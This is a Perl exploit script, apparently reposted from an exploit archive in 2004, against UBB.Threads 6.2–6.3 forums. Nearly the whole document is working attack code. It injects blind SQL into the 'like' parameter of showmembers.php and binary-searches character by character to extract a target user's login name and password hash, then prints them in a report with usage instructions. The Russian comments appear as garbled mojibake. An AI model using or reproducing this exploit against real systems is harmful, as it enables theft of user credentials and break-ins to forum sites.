exploits , vulnerabilities , articles , UBB.Threads 6.2.*-6.3.* one char bruteforce Exploit

#!/usr/bin/perl

use LWP::UserAgent;

# UBB.Threads 6.2.* - 6.3.* exploit
# with one char brute technique
# by 1dt.w0lf // r57

$path     = $ARGV[0];
$username = $ARGV[1];

$s_num = 1;
$n=0;
$|++;

if (@ARGV < 2) { &usage; }

print "Please wait...\r\n";
print "[";

while(1)
{
# íà÷èíàåì ïåðåáîð ñ ïîëíîãî äèàïàçîíà
&found(0,122);   
# åñëè âîçâðàùåííûé êîä 0 çíà÷èò äîøëè äî êîíöà 
# ñòðîêè è âûâîäèì ïîëó÷åííûé ðåçóëüòàò
if ($char=="0")  
 { 
 print "]\r\n\r\n"; 
 # ðàçäåëÿåì ïîëó÷åííóþ ñòðîêó íà ëîãèí è ïàðîëü
 ($res1,$res2)=split(":",$allchar);  # 
 print "------------------x REPORT x-------------------\r\n";
 print "      Username: $username\r\n";
 print "    Login Name: $res1\r\n";
 print " Password Hash: $res2\r\n"; 
 print "------------------x REPORT x-------------------\r\n";
 print "total requests: $n\r\n";
 exit(); 
 }
else 
 { 
 # ïðåîáðàçóåì ïîëó÷åííûé êîä â ñèìâîë è äîáàâëÿåì åãî ê ñòðîêå
ðåçóëüòàòà
 print "|"; 
 $allchar .= chr($char); 
 }
# óâåëè÷èâàåì ïîçèöèþ ñèìâîëà íà åäèíèöó è ïðîäîëæàåì ïåðåáîð
$s_num++;
}



sub found($$)
 {
 # îïðåäåëÿåì ïåðåäàííûé äèàïàçîí
 my $fmin = $_[0];
 my $fmax = $_[1];
 # åñëè äèàïàçîí ìåíåå 5 òî ïåðåõîäèì ê ïåðåáîðó
 if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
 # îïðåäåëÿåì öåíòð äèàïàçîíà
 $r = int($fmax - ($fmax-$fmin)/2);
 # äåëàåì óñëîâèå
 $check = ">$r";
 # è ïðîâåðÿåì óñëîâèå, â çàâèñèìîñòè îò ðåçóëüòàòà 
 # ðåêóðñèâíî âûçûâàåì ôóíêöèþ ñ íîâûì äèàïàçîíîì
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r+1); }
 }
 
sub crack($$)
 {
 # îïðåäåëÿåì ïåðåäàííûé äèàïàçîí
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 # è ïðîõîäèì ïî êàæäîìó çíà÷åíèþ èç äèàïàçîíà
 while ($i<$cmax)
  {
  # äåëàåì óñëîâèå
  $crcheck = "=$i";
  # ïðîâåðÿåì åãî
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 return;
 }
 
sub check($)
 {
 # óâåëè÷èâàåì êîëè÷åñòâî çàïðîñîâ
 $n++;
 # îïðåäåëÿåì óñëîâèå 
 $ccheck = $_[0];
 # ñîçäàåì http çàïðîñ ê ñåðâåðó 
 $http_query = $path."?Cat=&page=1&like=".$username."' AND
ascii(substring(CONCAT

(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck."
/*";
 
 # Åñëè âû õîòèòå âèäåòü âñå çàïðîñû îòïðàâëÿåìûå ê ñêðèïòó
 # òî ðàññêîìåíòèðóéòå ñëåäóþùóþ ñòðîêó
 # print "\r\n $http_query \r\n";
 
 $mcb_reguest = LWP::UserAgent->new() or die;
 # ïîëó÷àåì îòâåò ñåðâåðà
 $res = $mcb_reguest->post($http_query); 
 @results = $res->content; 
 # ïðîâåðÿåì îòâåò ñåðâåðà íà íàëè÷èå ñòðîêè
 foreach $result(@results)
  {
  if ($result =~ /<td class=\"lighttable\">/) { return 1;
}
  }
 return 0;
 }
 
sub usage
 {
 print
"=======================================================\r\n";
 print " UBB.Threads 6.2.*-6.3.* one char bruteforce
exploit\r\n";
 print " For all MySQL versions! Don't need UNION
support!\r\n";
 print
"=======================================================\r\n";
 print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
 print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n";
 print
"=======================================================\r\n";
 exit(); 
 }
securitydot.net - 2004-11-16